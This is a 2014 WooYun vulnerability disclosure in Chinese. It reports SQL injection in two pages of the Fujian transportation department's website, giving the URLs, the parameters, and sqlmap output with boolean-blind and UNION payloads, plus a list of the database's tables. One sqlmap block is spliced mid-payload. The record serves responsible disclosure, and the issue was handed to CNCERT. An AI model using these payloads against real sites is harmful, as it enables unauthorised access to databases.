当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-064063

漏洞标题:福建省交通运输厅SQL注射

相关厂商:福建省交通运输厅

漏洞作者: Hotler0o

提交时间:2014-06-08 16:12

修复时间:2014-07-23 22:14

公开时间:2014-07-23 22:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-08: 细节已通知厂商并且等待厂商处理中
2014-06-12: 厂商已经确认,细节仅向厂商公开
2014-06-22: 细节向核心白帽子及相关领域专家公开
2014-07-02: 细节向普通白帽子公开
2014-07-12: 细节向实习白帽子公开
2014-07-23: 细节向公众公开

简要描述:

福建省交通运输厅SQL注射

详细说明:

http://www.fjjt.gov.cn:8000/guestbook/New_gb.asp?action=rep&gb_id=11
http://www.fjjt.gov.cn:8000/printpage.asp?ArticleID=5217
都存在注入。

漏洞证明:

Place: GET
Parameter: gb_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=rep&gb_id=11 AND 3844=3844
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: action=rep&gb_id=-3657 UNION ALL SELECT 68,68,68,68,CHR(113)&CHR(113)&CHR(115)&CHR(103)&CHR(113)&CHR(113)&CHR(114)&CHR(120)&CHR(104)&CHR(80)&CHR(80)&CHR(82)&CHR(73)&CHR(80)&CHR(71)&CHR(113)&CHR(119)&CHR(114)&CHR(110)&CHR(113),68,68,68,68,68 FROM MSysAccessObjects%16
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: gb_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=rep&gb_id=11 AND 3844=3844
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: action=rep&gb_id=-3657 UNION ALL SELECT 68,68,68,68,CHR(113)&CHR(113)&CHR(115)&CHR(103)&CHR(113)&CHR(113)&CHR(114)&CHR(120)&CHR(104)&CHR(80)&CHR(80)&CHR(82)&CHR(73)&CHR(80sqlmap identified the following injection points with a total of 44 HTTP(s) requests:
---
Place: GET
Parameter: ArticleID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ArticleID=5217 AND 5808=5808
Type: UNION query
Title: Generic UNION query (NULL) - 28 columns
Payload: ArticleID=-7929 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(112)&CHR(115)&CHR(107)&CHR(113)&CHR(89)&CHR(100)&CHR(109)&CHR(79)&CHR(88)&CHR(82)&CHR(111)&CHR(105)&CHR(85)&CHR(83)&CHR(113)&CHR(98)&CHR(113)&CHR(106)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: ArticleID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ArticleID=5217 AND 5808=5808
Type: UNION query
Title: Generic UNION query (NULL) - 28 columns
Payload: ArticleID=-7929 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(112)&CHR(115)&CHR(107)&CHR(113)&CHR(89)&CHR(100)&CHR(109)&CHR(79)&CHR(88)&CHR(82)&CHR(111)&CHR(105)&CHR(85)&CHR(83)&CHR(113)&CHR(98)&CHR(113)&CHR(106)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
Database: Microsoft_Access_masterdb
[3 tables]
+---------+
| user |
| admin |
| article |
+---------+

修复方案:

参数过滤。

版权声明:转载请注明来源 Hotler0o@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-06-12 16:19

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给福建分中心处置。

最新状态:

暂无